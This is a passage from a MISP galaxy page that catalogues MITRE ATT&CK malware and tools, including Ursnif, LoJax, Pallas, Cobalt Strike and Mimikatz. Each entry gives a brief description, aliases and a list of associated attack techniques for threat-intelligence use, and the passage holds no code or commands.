uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html |
Ursnif - S0386
[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)
The tag is: misp-galaxy:mitre-malware="Ursnif - S0386"
Ursnif - S0386 is also known as:
-
Ursnif
-
Gozi-ISFB
-
PE_URSNIF
-
Dreambot
Ursnif - S0386 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif |
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality |
EvilBunny - S0396
[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)
The tag is: misp-galaxy:mitre-malware="EvilBunny - S0396"
EvilBunny - S0396 is also known as:
-
EvilBunny
EvilBunny - S0396 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
Links |
CoinTicker - S0369
[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)
The tag is: misp-galaxy:mitre-malware="CoinTicker - S0369"
CoinTicker - S0369 is also known as:
-
CoinTicker
CoinTicker - S0369 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
Links |
Ebury - S0377
[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)
The tag is: misp-galaxy:mitre-malware="Ebury - S0377"
Ebury - S0377 is also known as:
-
Ebury
Ebury - S0377 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/ |
KeyBoy - S0387
[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)
The tag is: misp-galaxy:mitre-malware="KeyBoy - S0387"
KeyBoy - S0387 is also known as:
-
KeyBoy
KeyBoy - S0387 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
LoJax - S0397
[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)
The tag is: misp-galaxy:mitre-malware="LoJax - S0397"
LoJax - S0397 is also known as:
-
LoJax
LoJax - S0397 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf |
Yahoyah - S0388
Yahoyah is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)
The tag is: misp-galaxy:mitre-malware="Yahoyah - S0388"
Yahoyah - S0388 is also known as:
-
Yahoyah
Yahoyah - S0388 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
HyperBro - S0398
[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)
The tag is: misp-galaxy:mitre-malware="HyperBro - S0398"
HyperBro - S0398 is also known as:
-
HyperBro
HyperBro - S0398 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/luckymouse-hits-national-data-center/86083/ |
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html |
JCry - S0389
[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)
The tag is: misp-galaxy:mitre-malware="JCry - S0389"
JCry - S0389 is also known as:
-
JCry
JCry - S0389 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
Links |
Pallas - S0399
[Pallas](https://attack.mitre.org/software/S0399) is mobile surveillanceware that was custom-developed by [Dark Caracal](https://attack.mitre.org/groups/G0070).(Citation: Lookout Dark Caracal Jan 2018)
The tag is: misp-galaxy:mitre-malware="Pallas - S0399"
Pallas - S0399 is also known as:
-
Pallas
Pallas - S0399 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
Links |
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf |
Tool
Name of ATT&CK software.
Tool is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Windows Credential Editor - S0005
[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)
The tag is: misp-galaxy:mitre-tool="Windows Credential Editor - S0005"
Windows Credential Editor - S0005 is also known as:
-
Windows Credential Editor
-
WCE
Windows Credential Editor - S0005 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
Pass-The-Hash Toolkit - S0122
[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122"
Pass-The-Hash Toolkit - S0122 is also known as:
-
Pass-The-Hash Toolkit
Pass-The-Hash Toolkit - S0122 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Cobalt Strike - S0154
[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)
In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)
The tag is: misp-galaxy:mitre-tool="Cobalt Strike - S0154"
Cobalt Strike - S0154 is also known as:
-
Cobalt Strike
Cobalt Strike - S0154 has relationships with:
-
similar: misp-galaxy:rat="Cobalt Strike" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1502" with estimative-language:likelihood-probability="almost-certain"
Links |
Invoke-PSImage - S0231
[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)
The tag is: misp-galaxy:mitre-tool="Invoke-PSImage - S0231"
Invoke-PSImage - S0231 is also known as:
-
Invoke-PSImage
Invoke-PSImage - S0231 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
ipconfig - S0100
[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system’s TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)
The tag is: misp-galaxy:mitre-tool="ipconfig - S0100"
ipconfig - S0100 is also known as:
-
ipconfig
-
ipconfig.exe
ipconfig - S0100 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
Mimikatz - S0002
[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)
The tag is: misp-galaxy:mitre-tool="Mimikatz - S0002"
Mimikatz - S0002 is also known as:
-
Mimikatz
Mimikatz - S0002 has relationships with:
-
similar: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DCShadow - T1207" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
HTRAN - S0040
